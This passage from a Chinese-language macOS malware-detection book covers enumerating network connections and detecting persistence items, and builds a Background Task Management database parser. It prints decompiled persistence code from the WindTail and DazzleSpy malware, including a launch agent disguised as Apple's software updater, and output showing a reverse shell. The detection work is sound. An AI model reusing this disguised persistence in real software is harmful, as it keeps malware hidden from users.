如果我们编译并运行这段代码,它将枚举所有网络连接和监听套接字,包括 Dummy 的远程 Shell 连接:

% **./enumerateNetworkStatistics**
...
{
    TCPState = Established;
    ...
 ifWiFi = 1;
    interface = 12;
    localAddress = {length = 16, bytes = 0x1002c7f9c0a801f50000000000000000};
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    remoteAddress = {length = 16, bytes = 0x10020539b9f373e60000000000000000};
    ...
} 

本地地址(kNStatSrcKeyLocal)和远程地址(kNStatSrcKeyRemote)存储在 NSData 对象中,这些对象包含 sockaddr_in 或 sockaddr_in6 结构。如果你想将它们转换为可打印的字符串,你需要调用像 inet_ntop 这样的例程。Listing 4-18 展示了实现这一操作的代码。

NSString* convertAddress(NSData* data) {
    in_port_t port = 0;
    char address[INET6_ADDRSTRLEN] = {0};

    struct sockaddr_in* ipv4 = NULL;
    struct sockaddr_in6* ipv6 = NULL;

    if(AF_INET == ((struct sockaddr*)data.bytes)->sa_family) { ❶
        ipv4 = (struct sockaddr_in*)data.bytes;
        port = ntohs(ipv4->sin_port);
        inet_ntop(AF_INET, (const void*)&ipv4->sin_addr, address, INET_ADDRSTRLEN);
    } else if (AF_INET6 == ((struct sockaddr*)data.bytes)->sa_family) { ❷
        ipv6 = (struct sockaddr_in6*)data.bytes;
        port = ntohs(ipv6->sin6_port);
        inet_ntop(AF_INET6, (const void*)&ipv6->sin6_addr, address, INET6_ADDRSTRLEN);
    }

    return [NSString stringWithFormat:@"%s:%hu", address, port];
}
...

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        NSData* source = description[(__bridge NSString*)kNStatSrcKeyLocal];
        NSData* destination = description[(__bridge NSString*)kNStatSrcKeyRemote];

        printf("%s\n", description.description.UTF8String);
        printf("%s -> %s\n",
        convertAddress(source).UTF8String, convertAddress(destination).UTF8String); ❸
    });

}); 

Listing 4-18:将数据对象转换为人类可读的地址和端口

这个简单的辅助函数接受一个网络统计地址,然后提取并格式化 IPv4 ❶和 IPv6 地址 ❷的端口和 IP 地址。在这里,它打印出源端点和目标端点 ❸,以提供更可读的输出。例如,以下输出显示了关于 Dummy 反向 Shell 的统计信息:

% **./enumerateNetworkStatistics**
...
{
    TCPState = Established;
    ...
    ifWiFi = 1;
    interface = 12;
    **localAddress = 192.168.1.245:63353**
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    **remoteAddress = 185.243.115.230:1337**
    ...
} 

尽管在这个简化的输出中未显示,网络统计字典还包含 kNStatSrcKeyTxBytes 和 kNStatSrcKeyRxBytes 键,分别表示上传和下载的字节数。Listing 4-19 展示了如何以编程方式提取这些流量统计数据作为无符号长整型数值。

NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
    unsigned long bytesUp =
    [description[(__bridge NSString *)kNStatSrcKeyTxBytes] unsignedLongValue];

    unsigned long bytesDown =
    [description[(__bridge NSString *)kNStatSrcKeyRxBytes] unsignedLongValue];
    ...
}); 

Listing 4-19:提取流量统计信息

这些数据可以帮助我们洞察流量趋势。例如,一个上传字节数非常大的连接,且与一个未知进程相关,可能会揭示恶意软件正在向远程服务器泄露大量数据。

结论

大多数恶意软件与网络进行交互,这为我们提供了构建强大启发式方法的机会。在本章中,我介绍了两种程序化枚举网络状态并将该状态与相应进程关联的方法。能够识别负责监听套接字或已建立连接的进程是准确检测恶意软件的关键,是基于主机的方法相对于以网络为中心的方法的主要优势之一。

到目前为止,我们已经根据从进程(在第一章)、二进制文件(在第二章)、代码签名(在第三章)以及网络(在本章)中获取的信息,构建了启发式方法。但操作系统也提供了其他检测来源。在下一章中,你将深入了解持久化技术的检测。

备注

  1. 1.  Patrick Wardle,《2022 年 Mac 恶意软件》,Objective-See,2023 年 1 月 1 日,https://objective-see.org/blog/blog_0x71.html#-insekt

  2. 2.  见https://objective-see.org/products/netiquette.html

  3. 3.  Patrick Wardle,《让 oRAT 启动》,在西班牙 Objective by the Sea v5 大会上发表的论文,2022 年 10 月 7 日,https://objectivebythesea.org/v5/talks/OBTS_v5_pWardle.pdf

  4. 4. 丹尼尔·伦吉和贾罗米尔·霍雷西,“新 APT 组织 Earth Berberoka 通过旧和新恶意软件攻击赌博网站”,趋势科技,2022 年 4 月 27 日,https://www.trendmicro.com/en_ph/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

  5. 5. 参见 https://github.com/palominolabs/get_process_handles

  6. 6. 参见 http://newosxbook.com/src.jl?tree=listings&file=netbottom.c

第五章:5 持久化

可以说,检测 macOS 恶意威胁的最佳方法之一就是关注持久化。在这里,持久化指的是软件(包括恶意软件)安装自身到系统中的方式,以确保它在启动时、用户登录时或某些其他确定性事件发生时自动重新执行。否则,如果用户注销或系统重启,它可能永远不会再次运行。在本章中,我将重点列举持久化项目。在第二部分中,我将介绍如何利用 Apple 的 Endpoint Security 来监控持久化事件。

作为大多数恶意软件的共同特征,持久化是一个强大的检测机制,能够揭示大多数感染。在 macOS 上,恶意软件通常以两种方式持久化:作为启动项(守护进程或代理)或作为登录项。在本章中,我将向你展示如何精确列举这些项目,以揭示几乎任何 macOS 恶意软件样本。

当然,并非所有 macOS 恶意软件都会持久化。例如,加密用户文件的勒索软件或窃取并外泄敏感用户数据的窃取者通常不需要多次运行,因此很少将自己持久化安装。

另一方面,设计用于持续运行的合法程序,如自动更新器、安全工具,甚至是简单的辅助工具,也往往会持续存在。因此,某个程序持续安装并不意味着我们的代码应该将其标记为恶意程序。

持久化恶意软件的示例

因为本章的重点是揭示作为登录项或启动项持久化的恶意软件,我们从每种类型的简短示例开始。WindTail 恶意软件最早由研究员 Taha Karim 公开,主要针对中东地区政府和关键基础设施的员工。^(1) 在一篇详细的研究论文中,^(2) 我提到,这款恶意软件通常伪装成名为 Final_Presentation 的 PowerPoint 演示文稿,并将自己作为登录项持久化,以确保每次用户登录时它都会自动重新执行。在该恶意软件的应用程序包中,我们可以找到它的主二进制文件,名为 usrnode。反编译该文件后,揭示了其主函数开头的持久化逻辑:

int main(int argc, const char* argv[])
    r12 = [NSURL fileURLWithPath:NSBundle.mainBundle.bundlePath];

    rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
    LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);
    ...

} 

一旦恶意软件确定它在主机上运行的位置,它会调用 LSSharedFileListCreate 和 LSSharedFileListInsertItemURL 函数,将自己安装为一个持久化的登录项。这个登录项会使恶意软件出现在“系统偏好设置”应用程序的“登录项”面板中(图 5-1)。显然,恶意软件的作者认为这是为持久化而做的一个可以接受的妥协。

图 5-1:WindTail 将自己作为名为 Final_Presentation 的登录项持久化。

让我们来看一个其他的持久化 macOS 恶意软件样本。名为 DazzleSpy,这种复杂的国家级恶意软件利用了零日漏洞,远程感染了 macOS 用户。^(3) 尽管 DazzleSpy 的感染途径提出了检测挑战,但其持久化方法却相当明显,为防御者提供了一个简单的检测途径。

在获得初始代码执行权限并成功逃逸浏览器沙箱后,DazzleSpy 会将自身保持为一个伪装成 Apple 软件更新程序的启动代理。为了作为启动代理保持存在,项目通常会在 LaunchAgents 目录下创建一个属性列表。DazzleSpy 在当前用户的 Library/LaunchAgents 目录中创建一个属性列表,并将其命名为 com.apple.softwareupdate.plist。该恶意软件的二进制文件硬编码了对启动代理目录的引用,以及对该 plist 文件名称的引用,使它们在 strings 命令的输出中显而易见:

% **strings - DazzleSpy/softwareupdate**
...
%@/Library/LaunchAgents
/com.apple.softwareupdate.plist 

如果我们在反编译器中加载恶意软件,我们会发现一个名为 installDaemon 的类方法,它使用了这些字符串。顾名思义,该方法将持久化安装恶意软件(尽管不是作为启动守护进程,而是作为一个代理):

+(void)installDaemon {
    rax = NSHomeDirectory();
    ...
    var_78 = [NSString stringWithFormat:@"%@/**Library/LaunchAgents**", rax];
    var_80 = [var_78 stringByAppendingFormat:@"/**com.apple.softwareupdate.plist**"];
    ...
    var_90 = [[NSMutableDictionary alloc] init];
    var_98 = [[NSMutableArray alloc] init];
    ...
    rax = @(YES);
    [var_90 setObject:rax forKey:@"RunAtLoad"];
 [var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"];
    [var_90 setObject:var_98 forKey:@"ProgramArguments"];
    ...
    [var_90 writeToFile:var_80 atomically:0x0];
...
} 

从这次反编译中,我们可以看到恶意软件首先动态构建一个指向当前用户 Library/LaunchAgents 目录的路径,然后将字符串 com.apple.softwareupdate.plist 追加到该路径中。接着,它构建一个包含 RunAtLoad、Label 和 ProgramArguments 等键的字典,这些值描述了如何重新启动持久化项目、如何识别该项目以及它的路径。为了完成持久化,恶意软件将这个字典写入启动代理目录中的属性列表文件。

通过在一个隔离的分析机器上执行恶意软件,并在文件监控器的监视下,我们可以确认 DazzleSpy 的持久性。如预期的那样,文件监控器显示该二进制文件 (softwareupdate) 在当前用户的 LaunchAgents 目录中创建了其属性列表文件:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty**
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist",
    "process" : {
      "pid" : 1469,
      "name" : "softwareupdate",
      "path" : "/Users/User/Desktop/softwareupdate"
    }
  }
} 

然后,通过检查新创建的文件的内容,我们可以找到恶意软件持久安装的路径,/Users/User/.local/softwareupdate

<?xml version=”1.0” encoding=”UTF-8”?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>**/Users/User/.local/softwareupdate**</string>
        <string>1</string>
    </array>
    <key>**RunAtLoad**</key>
<true/>
 <key>SuccessfulExit</key>
    **<true/>**
</dict>
</plist> 

恶意软件将 RunAtLoad 键设置为 true,因此每次用户登录时,macOS 都会自动重新启动指定的二进制文件。换句话说,DazzleSpy 已经获得了持久性。

在本章开头,我提到过合法软件也会保持持久性。那么,如何判断一个持久化的项目是否是恶意的呢?可以说,最好的方法是检查该项目的代码签名信息,使用 第三章 中描述的方法。合法项目应该由公认的公司签名并且通过 Apple 的认证。

恶意持久化项目通常也有一些共同的特征。以 DazzleSpy 为例,它从隐藏的.local目录中运行,并且没有签名或经过公证。该恶意软件的属性列表名称com.apple.softwareupdate表明这个持久化项目属于 Apple。然而,Apple 从未将持久化组件安装到用户的LaunchAgents目录中,所有的启动项都引用仅由 Apple 公司签名的二进制文件。在这些方面,DazzleSpy 并不是一个特例;由于这些异常,大多数恶意持久化项目也同样容易被归类为可疑。

背景任务管理

我们如何确定某个项目是否已持久化?一种简单的方法是枚举所有在启动项目录中找到的.plist文件,这些目录包括系统和用户的LaunchDaemonLaunchAgent目录。然而,从 macOS 13 开始,Apple 鼓励开发者将启动项直接移到他们的应用程序包中。^(4)这些变化实际上使得通过用户的启动项目录来持久化变得不再推荐,这意味着手动枚举持久化项目需要扫描每个应用程序包,这样做效率低下。此外,软件还可以作为登录项持久化,而这些登录项并不使用属性列表或专用目录。

幸运的是,从 macOS 13 开始,Apple 已将最常见的持久化机制(包括启动代理、启动守护进程和登录项)的管理整合到了一个名为背景任务管理的专有子系统中。这个子系统提供了在“系统偏好设置”应用中显示的登录项和启动项的列表(图 5-2)。

图 5-2:在“系统偏好设置”应用中显示的登录项和启动项

在我的电脑上,我的几个 Objective-See 工具会将自己安装为登录项,而 Adobe 的云同步应用程序和 Google Chrome 的更新程序则会安装为持久启动项。

当然,我们希望能够以编程方式获取这些持久化项目的列表,因为任何持久化的恶意软件很可能也会出现在这里。尽管背景任务管理子系统的组件是专有和闭源的,但动态分析表明,子系统将其跟踪的持久化项目的详细元数据存储在一个单独的数据库文件中。对于我们的目的来说,这个集中式数据库的存在是个福音。不幸的是,由于其格式是专有且没有文档记录,如果我们希望使用它,还需要做一些工作。

检查子系统

让我们走一遍 Background Task Management 子系统与此数据库的交互过程。理解这些操作将帮助我们创建一个能够编程提取其内容的工具。通过文件监控,我们可以看到,当一个项被持久化时,Background Task Management 守护进程 backgroundtaskmanagementd 会更新 /private/var/db/com.apple.backgroundtaskmanagement/ 目录中的文件。为了原子性地执行此操作,它首先创建一个临时文件,然后通过重命名操作将其移入 com.apple.backgroundtaskmanagement 目录:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty**
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
 "destination" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "process" : {
       "pid" : 612,
       "name" : "backgroundtaskmanagementd",
       ...
     }
  }
  ...
}

{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "process" : {
      "pid" : 612,
      "name" : "backgroundtaskmanagementd",
      ...
    }
  }
  ...
}

{
  "event" : "ES_EVENT_TYPE_NOTIFY_RENAME",
  "file" : {
    "source" :
    "/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
    "destination" :
    "/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm",
    "process" : {
      "pid" : 612,
      "name" : "backgroundtaskmanagementd",
      ...
    }
  }
  ...
} 

如果我们反汇编位于 /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/ 目录中的守护进程的二进制文件,我们会发现 BTMStore 类的 storeNameForDatabaseVersion: 方法中有一个格式字符串引用,BackgroundItems-v%ld.btm:

+[BTMStore storeNameForDatabaseVersion:]
    pacibsp
    sub    sp, sp, #0x20
    stp    fp, lr, [sp, #0x10]
    add    fp, sp, #0x10
    nop
    ldr    x0, =_OBJC_CLASS_$_NSString
 str    x2, [sp, #0x10 + var_10]
    adr    x2, #0x100031f10            ; **@"BackgroundItems-v%ld.btm"**
    ... 

进一步的逆向工程揭示,数据库的名称包含一个版本号,随着新版 macOS 的发布,版本号会递增。在这里展示的示例中,我们将版本号抽象为 x,但在你的系统中,版本号可能是 8 或更高。使用 file 命令,我们可以看到 BackgroundItems-vx.btm 文件的内容以二进制属性列表的形式存储。要查看这些详细信息,请确保在运行命令时为你的系统提供正确的版本号:

% **file /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v****`x`****.btm**
/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v`x`.btm:
Apple binary property list 

我们可以使用 plutil 将二进制属性的内容转换为 XML。不幸的是,结果 XML 不仅包含拼写错误,还包含一些无法轻易被人类读取的序列化对象:

% **plutil -p /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v****`x`****.btm**
{
  "$archiver" => "NSKeyedArchiver"
  "$objects" => [
    0 => "$null"
    1 => {
      "$class" =>
      <CFKeyedArchiverUID 0x600002854240 [0x1e3bcf9a0]>{value = 265}

      "itemsByUserIdentifier" =>
      <CFKeyedArchiverUID 0x600002854260 [0x1e3bcf9a0]>{value = 2}

      "mdmPaloadsByIdentifier" =>
      <CFKeyedArchiverUID 0x600002854280 [0x1e3bcf9a0]>{value = 263}

      "userSettingsByUserIdentifier" =>
      <CFKeyedArchiverUID 0x6000028542a0 [0x1e3bcf9a0]>{value = 257}
    }
    ...

    265 => {
      "$classes" => [
         0 => "Storage"
         1 => "NSObject"
      ]
      "$classname" => "Storage"
    }
    ... 

序列化 是将一个已初始化的内存中的对象转换为可以保存的格式(例如,保存到文件)的过程。虽然序列化是程序与对象交互的高效方式,但序列化对象通常不可被人类读取。此外,如果对象属于一个未记录的类,我们必须首先理解该类的内部细节,才能编写代码以理解它们。

作为 Background Task Management 子系统的一部分,Apple 提供了一个名为 sfltool 的命令行工具,它可以与 BackgroundItems-vx .btm 文件进行交互。如果使用 dumpbtm 标志执行该工具,它将反序列化并打印出文件的内容:

# **sfltool dumpbtm**

#1:
                 UUID: 8C271A5F-928F-456C-B177-8D9162293BA7
                 Name: softwareupdate
       Developer Name: (null)
                 Type: legacy daemon (0x10010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: com.apple.softwareupdate
                  URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
      Executable Path: /Users/User/.local/softwareupdate
           Generation: 1
    Parent Identifier: Unknown Developer

#2:
        UUID: 9B6C3670-2946-4F0F-B58C-5D163BE627C0
                 Name: ChmodBPF
       Developer Name: Wireshark
      Team Identifier: 7Z6EMTD2C6
                 Type: curated legacy daemon (0x90010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: org.wireshark.ChmodBPF
                  URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
      Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
           Generation: 1
    Assoc. Bundle IDs: [org.wireshark.Wireshark]
    Parent Identifier: Wireshark 

在这个示例中,反序列化后的对象包括 DazzleSpy (softwareupdate) 和 Wireshark 的 ChmodBPF 守护进程。由于 sfltool 能够从专有数据库生成反序列化输出,逆向工程它应该有助于我们理解其反序列化和解析逻辑。反过来,这应该能使我们编写出能够枚举 Background Task Management 子系统管理的所有持久化项(包括任何恶意软件)的解析器。

解剖 sfltool

尽管本书的重点不在于反向工程,但我将简要讨论如何剖析 sfltool,以便你理解它与其他后台任务管理组件及极其重要的 .btm 文件的交互。在终端中,让我们通过运行带有 dumpbtm 标志的 sfltool 来开始流式读取系统日志消息:

% **log stream**
...
backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
connection=<NSXPCConnection: 0x152307aa0> connection from pid 52886 on mach service named
com.apple.backgroundtaskmanagement

backgroundtaskmanagementd dumpDatabaseWithAuthorization: error=Error
Domain=NSOSStatusErrorDomain Code=0 "noErr: Call succeeded with no error" 

正如你在日志输出中看到的(我稍作修改以便简洁),后台任务管理守护进程收到了来自进程 ID 为 52886 的消息,该进程对应于正在运行的 sfltool 实例。你可以看到该工具已成功建立了 XPC 连接。如果连接成功,sfltool 就可以调用守护进程中的远程方法。例如,从日志消息中,你可以看到它调用了守护进程的 dumpDatabaseWithAuthorization: 方法来获取后台任务管理数据库的内容。

在列表 5-1 中,我们尝试实现相同的方法。我们利用了私有的 BackgroundTaskManagement 框架,该框架实现了必要的类,如 BTMManager,以及包括客户端方法 dumpDatabaseWithAuthorization:error: 在内的函数。

#import <dlfcn.h>
#import <Foundation/Foundation.h>
#import <SecurityFoundation/SFAuthorization.h>

#define BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd"

@interface BTMManager : NSObject
    +(id)shared;
    -(id)dumpDatabaseWithAuthorization:(SFAuthorization*)arg1 error:(id*)arg2;
@end

int main(int argc, const char* argv[]) {
    void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);

    Class BTMManager = NSClassFromString(@"BTMManager");
    id sharedInstance = [BTMManager shared];

    SFAuthorization* authorization = [SFAuthorization authorization];
    [authorization obtainWithRight:"system.privilege.admin"
    flags:kAuthorizationFlagExtendRights error:NULL];

    id dbContents = [sharedInstance dumpDatabaseWithAuthorization:authorization error:NULL];
    ...
} 

列表 5-1:尝试转储后台任务管理数据库

不幸的是,这种方法失败了。正如以下日志信息所示,失败似乎是因为我们的二进制文件(在此实例中,其进程 ID 为 20987)没有连接到后台任务管理守护进程所需的私人 Apple 权限:

% **log stream**
...
backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
process with pid=20987 lacks entitlement 'com.apple.private.backgroundtaskmanagement.manage'
or deprecated entitlement 'com.apple.private.coreservices.canmanagebackgroundtasks' 

我们可以通过反向工程守护进程中负责处理来自客户端的新 XPC 连接的代码来确认,正是这个原因导致我们无法连接到守护进程:

/* @class BTMService */
-(BOOL)listener:(NSXPCListener*)listener
shouldAcceptNewConnection:(NSXPCConnection*)newConnection {
    ...
    x24 = [x0 valueForEntitlement:@"com.apple.private.coreservices.canmanagebackgroundtasks"];
    ...
    if(objc_opt_isKindOfClass(x24, objc_opt_class(@class(NSNumber))) == 0x0 ||
    [x24 boolValue] == 0x0) {
        // Reject the client that is attempting to connect.
    } 

在这个反汇编中,你可以看到对私人权限 com.apple.private.coreservices.canmanagebackgroundtasks 的检查,这与我们在日志中看到的匹配。如果客户端没有该权限(或更新后的 com.apple.private.backgroundtaskmanagement.manage 权限),系统将拒绝连接。

使用 codesign 工具,你可以看到 sfltool 确实包含了所需的权限:

% **codesign -d --entitlements - /usr/bin/sfltool**
Executable=/usr/bin/sfltool
[Dict]
    [Key] **com.apple.private.coreservices.canmanagebackgroundtasks**
    [Value]
        [Bool] true
    [Key] com.apple.private.sharedfilelist.export
    [Value]
        [Bool] true 

由于我们无法获取到连接到后台任务管理守护进程所需的私人 Apple 权限,我们只能直接从磁盘访问并解析数据库。

当获得完全磁盘访问权限时,访问数据库内容是很容易的。然而,解析其内容需要更多的工作,因为它包含了未记录的序列化对象。幸运的是,继续反向工程可以揭示,当守护进程读取数据库内容后,它的反序列化逻辑会在一个名为 _decodeRootData:error: 的方法中开始。

-(void*)_decodeRootData:(NSData*)data error:(void**)arg3 {
    ...
    x0 = [NSKeyedUnarchiver alloc];
    x21 = [x0 initForReadingFromData:data error:&error];
    ...
    x0 = [x21 decodeObjectOfClass:objc_opt_class(@class(Storage)) forKey:@"store"]; 

当后台任务管理守护进程读取数据库内容时,它会按照以下标准步骤执行反序列化操作:

1.  将数据库内容作为 NSData 对象读入内存

2.  使用这些数据初始化一个 NSKeyedUnarchiver 对象

3.  通过调用 NSKeyedUnarchiver 的 decodeObjectOfClass:forKey: 方法反序列化解档器中的对象

请注意序列化类名 Storage 及其在归档器中的键 store,因为它们稍后会发挥作用。还要注意,当调用 decodeObjectOfClass:forKey: 方法时,任何嵌入对象的 initWithCoder: 方法也会自动在后台调用。这允许对象执行自己的反序列化操作。

编写后台任务管理数据库解析器

现在我们已经准备好编写自己的解析器。让我们将通过逆向工程学到的知识应用到编写一个能够反序列化后台任务管理数据库中所有持久化项元数据的工具。我将在这里展示相关的代码片段,但你可以在 Objective-See 的 GitHub 仓库中找到这个解析器的完整代码,名为 DumpBTM,地址是 https://github.com/objective-see/DumpBTM。在这次讨论的最后,我将展示如何在你的代码中使用这个库,以编程方式获取任何 macOS 系统上持久化项的列表。

查找数据库路径

我们先编写一些代码来动态查找数据库的路径。虽然它位于 */private/var/db/com.apple.backgroundtaskmanagement/* 目录中,但 Apple 会在 macOS 版本发布时偶尔修改名称中的版本号。尽管如此,通过其独特的扩展名 *.btm*,仍然可以轻松找到该数据库。列表 5-2 中的代码使用一个简单的谓词来查找 com.apple.backgroundtaskmanagement 目录中的所有 *.btm* 文件。应该只有一个文件,但为了安全起见,代码会选择版本号最高的那个。

#define BTM_DIRECTORY @"/private/var/db/com.apple.backgroundtaskmanagement/"

NSURL* getPath(void) {
 ❶ NSArray* files = [NSFileManager.defaultManager contentsOfDirectoryAtURL:
    [NSURL fileURLWithPath:BTM_DIRECTORY] includingPropertiesForKeys:nil options:0 error:nil];

  ❷ NSArray* btmFiles = [files filteredArrayUsingPredicate:[NSPredicate
    predicateWithFormat:@"self.absoluteString ENDSWITH '.btm'"]];

  ❸ return btmFiles.lastObject;
} 

列表 5-2:查找最新的后台任务管理数据库

首先,代码会创建一个目录中所有文件的列表 ❶。然后,通过谓词 self.absoluteString ENDSWITH '.btm' 和方法 filteredArrayUsingPredicate:,它创建第二个列表,其中仅包含 *.btm* 文件 ❷。接着,它返回这个列表中的最后一个文件,这个文件应该是版本号最高的那个 ❸。

反序列化后台任务管理文件

我注意到后台任务管理文件中的序列化对象是特定于子系统的未文档化类的实例。为了反序列化这些对象,我们至少需要提供一个类声明。我们发现这些类嵌入在守护进程中,包括序列化数据库中的顶级对象,它属于一个名为 Storage 的未文档化类。回想一下,我们也在 plutil 输出中看到了这个类名。

该类包含描述其属性的各种实例变量,包括一个名为 itemsByUserIdentifier 的字典。为了反序列化 Storage 对象,我们创建了 列表 5-3 中所示的声明。

@interface Storage : NSObject <NSSecureCoding>
    @property(nonatomic, retain)NSDictionary* itemsByUserIdentifier;
@end 

列表 5-3:Storage 类接口

进一步的逆向工程揭示了 Storage 类的 itemsByUserIdentifier 字典的更多细节。例如,它包含了键值对,其中值是另一个未文档化的背景任务管理类——ItemRecord。ItemRecord 类包含了有关子系统管理的每个持久项的元数据,如其路径、代码签名信息以及其状态(例如启用或禁用)。

再次强调,由于 ItemRecord 是一个未文档化的类,因此在我们的代码中使用它需要提供从守护进程中提取的声明。第 5-4 列表 显示了这样的声明。

@interface ItemRecord : NSObject <NSSecureCoding>
    @property NSInteger type;
    @property NSInteger generation;
    @property NSInteger disposition;
    @property(nonatomic, retain)NSURL* url;
    ...
 @property(nonatomic, retain)NSString* identifier;
    @property(nonatomic, retain)NSString* developerName;
    @property(nonatomic, retain)NSString* executablePath;
    @property(nonatomic, retain)NSString* teamIdentifier;
    @property(nonatomic, retain)NSString* bundleIdentifier;
@end 

第 5-4 列表:ItemRecord 类接口

在声明了相关的类之后,我们几乎准备好触发背景任务管理文件中所有对象的序列化过程。然而,由于反序列化过程会调用每个对象的 initWithCoder: 方法,并且每个对象都遵循 NSSecureCoding 协议,我们应该提供该方法的实现,以保持链接器正常工作并确保反序列化成功。为了重新实现那些未文档化对象的 initWithCoder: 方法,我们可以使用反汇编器找到它们的实现。例如,这是 ItemRecord 对象的 initWithCoder: 方法的反编译结果:

-(void*)initWithCoder:(NSCoder*)decoder {
  x0 = objc_opt_class(@class(NSUUID));
  x0 = [decoder decodeObjectOfClass:x0 forKey:@"uuid"];
  self.uuid = x0;

  x0 = objc_opt_class(@class(NSString));
  x0 = [decoder decodeObjectOfClass:x0 forKey:@"executablePath"];
  self.executablePath = x0;

  x0 = objc_opt_class(@class(NSString));
  x0 = [decoder decodeObjectOfClass: x0 forKey:@"teamIdentifier"];
  self.teamIdentifier = x0;
  ...
} 

我们可以轻松地在自己的代码中模仿该方法(第 5-5 列表)。

-(id)initWithCoder:(NSCoder *)decoder {
    self = [super init];
    if(nil != self) {
        self.uuid = [decoder decodeObjectOfClass:[NSUUID class] forKey:@"uuid"];

        self.executablePath =
        [decoder decodeObjectOfClass:[NSString class] forKey:@"executablePath"];

        self.teamIdentifier =
        [decoder decodeObjectOfClass:[NSString class] forKey:@"teamIdentifier"];
        ...
    return self;
} 

第 5-5 列表:ItemRecord 的 initWithCoder: 方法的重新实现

在我们重新实现 ItemRecord 对象的 initWithCoder: 方法时,我们会反序列化该对象的属性,包括其 UUID、可执行路径、团队标识符等。这和调用 decodeObjectOfClass:forKey: 方法来处理传入的序列化对象中的每个属性一样简单,该对象作为一个 NSCoder 被传入。

然而,有一种更简单的方法可以访问这些方法。正如你在反汇编中看到的,背景任务管理守护进程包含了序列化的 Storage 和 ItemRecord 对象的类实现,包括它们的 initWithCoder: 方法。因此,如果我们将守护进程的二进制文件加载并链接到我们的进程地址空间中,我们就能访问这些方法,而无需自己重新实现它们。由于所有可执行文件现在都是以位置无关的方式编译的,我们可以在自己的程序中链接任何我们想要的内容,包括守护进程。第 5-6 列表 包含了加载和链接守护进程的代码,接着在触发完整反序列化数据库中存储的对象时使用了它的对象。

#define BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd"

❶ void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);

❷ NSURL* path = getPath();
❸ NSData* data = [NSData dataWithContentsOfURL:path options:0 error:NULL];

❹ NSKeyedUnarchiver* keyedUnarchiver =
[[NSKeyedUnarchiver alloc] initForReadingFromData:data error:NULL];

❺ Storage* storage = [keyedUnarchiver decodeObjectOfClass:
[NSClassFromString(@"Storage") class] forKey:@"store"]; 

第 5-6 列表:反序列化背景任务管理对象

在调用 dlopen 函数 ❶ 后,该函数加载并将背景任务管理守护进程链接到进程的内存空间,接着代码调用我们编写的一个辅助函数来获取系统背景任务管理数据库文件的路径 ❷。一旦找到并加载数据库的内容到内存中 ❸,代码就会用数据库数据初始化一个带键的反归档对象 ❹。

现在,代码已准备好通过键归档器的 decodeObjectOfClass:forKey:方法触发数据库中对象的反序列化。如前所述,数据库顶级对象的类名是 Storage。由于它没有文档,我们通过 NSClassFromString(@"Storage")动态解析它。解析成功,因为我们已经将实现此类的守护进程加载到我们的进程空间中。为了开始反序列化所需的键,我们模仿守护进程,指定字符串"store"❺。

在幕后,这段代码将触发调用 Storage 类的 initWithCoder:方法,从而有机会反序列化数据库中的顶级 Storage 对象。回想一下,这个对象包含一个字典,其中包含一个 ItemRecord 对象,描述每个持久化的项目。调用 ItemRecord 类的 initWithCoder:方法将自动反序列化这些嵌套的对象。

访问元数据

一旦我们完成了反序列化,就可以访问系统上每个持久化项目的元数据,并由后台任务管理(列表 5-7)进行管理。

int itemNumber = 0;

❶ for(NSString* key in storage.itemsByUserIdentifier) {
  ❷ NSArray* items = storage.itemsByUserIdentifier[key];
    for(ItemRecord* item in items) {
        printf(" #%d\n", ++itemNumber);
      ❸ printf(" %s\n", [[item performSelector:NSSelectorFromString
        (@"dumpVerboseDescription")] UTF8String]);
    }
} 

列表 5-7:打印反序列化的项目

访问元数据就像遍历反序列化的 Storage 对象的 itemsByUserIdentifier 字典❶一样简单,该字典按用户 UUID❷组织持久化项。对于所有的 ItemRecord 对象,我们可以调用该类的 dumpVerboseDescription 方法❸,以优雅的格式打印出每个对象。因为我们没有在类接口中声明此方法,所以我们使用 Objective-C 的 performSelector:方法按名称调用它。

编译并运行代码会生成输出,提供与 Apple 的闭源 sfltool 相同的信息:

% **./dumpBTM**
Opened /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
...
#1
